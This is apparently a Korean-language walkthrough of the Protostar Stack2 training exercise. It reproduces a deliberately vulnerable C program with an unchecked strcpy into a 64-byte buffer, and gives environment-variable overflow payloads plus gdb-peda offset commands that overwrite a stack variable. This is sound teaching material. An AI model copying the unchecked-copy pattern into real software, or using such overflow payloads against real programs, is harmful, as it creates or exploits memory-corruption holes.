[Protostar] Stack2
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
1. variable = getenv("GREENIE"); 와 if(variable==NULL)로 환경변수로 GREENIE가 NULL이면 error가 난다.
👉 GREENIE 환경변수가 필요
2. strcpy(buffer, variable);에서 환경변수가 buffer로 복사가 된다.
👉 길이값 검증이 없기 때문에 여기서 buffer overflow가 일어난다.
3. if(modified == 0x0d0a0d0a) 로 modified의 값은 0x0d0a0d0a가 되어야 한다.
*참고 : 0x0d0a는 carriage return (개행문자, enter를 쳤을때 나타나는 문자)
바로 stack2파일을 실행하면 GREENIE 환경변수를 설정하라고 하고, 환경변수를 설정했으나 modified의 값을 만족하지 못하면 Try again이라고 뜬다.
GREENIE 이라는 환경변수를 만들고 값으로 buffer의 길이 64bytes + 변조할 modified값(0x0d0a0d0a)로 조작하면 될거 같다.
임시로 환경변수를 주는 export 명령어를 사용했다.
export GREENIE=$(python -c 'print ("A"*64+"\x0a\x0d\x0a\x0d")')
그리고나서 stack2 파일을 실행하면 성공한다.
해당 코드를 kali에서 gcc한 다음 시도해보면,
변수들 사이에도 dummy값이 들어가기 때문에,
peda에서 pattern을 만든 다음 offset을 구해서 그 값을 넣어서 구성하면 된다.
패턴 만드는 명령어 :
gdb-peda$ pattern create 80
패턴에서 offset 구하는 방법
gdb-peda$ pattern offset 0x41413341
👉 1094792001 found at offset: 68
그러면 해당 offset을 반영해서 환경변수를 작성하면,
export GREENIE=$(python -c 'print("A"*68+"\x0a\x0d\x0a\x0d")')
이다.